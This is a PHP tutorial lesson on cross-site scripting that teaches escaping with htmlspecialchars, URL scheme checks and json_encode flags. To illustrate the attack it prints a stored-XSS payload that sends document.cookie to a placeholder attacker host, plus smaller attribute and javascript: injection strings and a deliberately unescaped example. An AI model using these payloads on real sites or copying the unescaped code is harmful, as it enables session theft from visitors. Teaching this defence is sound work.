Skip to content

PHP Tutorial PHP Security

Cross-Site Scripting (XSS)

Lesson 292 of 369 2 min read By Deepak Paswan Updated Oct 5, 2026

Cross-site scripting (XSS) happens when a site prints untrusted text into a page without escaping it. A browser cannot tell the difference between your HTML and the attacker’s text, so it runs the attacker’s script as if it came from your site.

A vulnerable page

index.php
PHP
<?php
$comment = '<script>fetch("https://evil.example/steal?c=" + document.cookie)</script>';   // posted by an attacker earlier

// DANGEROUS: printed as-is
echo "<p>" . $comment . "</p>";
Output
OUTPUT
<p><script>fetch("https://evil.example/steal?c=" + document.cookie)</script></p>

Every visitor who opens this page runs that script in their browser, with their logged-in session. The script can read what the page shows, send requests as the user, or change the page to ask for a password.

Three kinds

TypeHow it gets in
StoredThe attacker saves it (a comment, a profile name), and every visitor loads it
ReflectedIt is in the URL or form and is echoed straight back (?q=<script>...)
DOM-basedJavaScript on the page writes untrusted text with innerHTML

The fix: escape on output

index.php
PHP
<?php
$comment = '<script>alert("hacked")</script>';

echo "<p>" . htmlspecialchars($comment, ENT_QUOTES, "UTF-8") . "</p>";
Output
OUTPUT
<p>&lt;script&gt;alert(&quot;hacked&quot;)&lt;/script&gt;</p>

The browser now shows the text as plain characters. Nothing runs.

A helper you use everywhere

index.php
PHP
<?php
function h(?string $text): string
{
    return htmlspecialchars($text ?? "", ENT_QUOTES | ENT_SUBSTITUTE, "UTF-8");
}

echo h('Tom & "Jerry" <b>') . "\n";
echo h(null) . "|";
Output
OUTPUT
Tom &amp; &quot;Jerry&quot; &lt;b&gt;
|
  • ENT_QUOTES escapes both " and ', which matters inside attributes.
  • ENT_SUBSTITUTE replaces invalid UTF-8 instead of returning an empty string.
  • Always give the character set ("UTF-8").

Attributes must be quoted

index.php
PHP
<?php
$name = '" onfocus="alert(1)" autofocus="';

echo '<input value="' . htmlspecialchars($name, ENT_QUOTES, "UTF-8") . '">';
Output
OUTPUT
<input value="&quot; onfocus=&quot;alert(1)&quot; autofocus=&quot;">

Without escaping, the attacker would close the attribute and add their own. Always put attribute values in quotes, and escape them.

URLs

htmlspecialchars() does not make a URL safe. A link such as javascript:alert(1) is a valid string. Allow only http and https.

index.php
PHP
<?php
function safeUrl(string $url): string
{
    $scheme = parse_url($url, PHP_URL_SCHEME);

    return in_array($scheme, ["http", "https"], true) ? $url : "#";
}

echo safeUrl("https://example.com/page") . "\n";
echo safeUrl("javascript:alert(1)");
Output
OUTPUT
https://example.com/page
#

Data inside JavaScript

Do not echo values into a <script> with echo. Use json_encode with flags that escape HTML characters.

index.php
PHP
<?php
$name = '</script><script>alert(1)</script>';

echo "<script>const user = " . json_encode($name, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ";</script>";
Output
OUTPUT
<script>const user = "\u003C\/script\u003E\u003Cscript\u003Ealert(1)\u003C\/script\u003E";</script>

Allowing some HTML

If users must be able to write formatted text (a rich text comment), do not try strip_tags() or your own filter. Use a maintained HTML sanitizer library (HTMLPurifier or similar) with an allow-list of tags. Or let users write Markdown and convert it with a safe configuration (see A Practical Composer Example).

Extra layers

  • Content Security Policy (CSP) header limits where scripts may come from. See Security Headers.
  • HttpOnly cookies stop scripts from reading the session cookie.
  • Template engines such as Twig and Blade escape by default.

The rule

Escape every dynamic value at the moment you print it, for the place you print it. That includes data from the database, from $_GET, $_POST, $_COOKIE, $_SERVER["HTTP_*"], files and APIs. If you wrote it yourself last year and stored it, it is still untrusted.

Exercise: fix the page

This code prints a search term. Make it safe: echo "<h1>Results for " . $_GET["q"] . "</h1>";

Show the answer
index.php
PHP
<?php
echo "<h1>Results for " . htmlspecialchars($_GET["q"] ?? "", ENT_QUOTES, "UTF-8") . "</h1>";

Without escaping, the URL ?q=<script>...</script> would run a script in the visitor’s browser.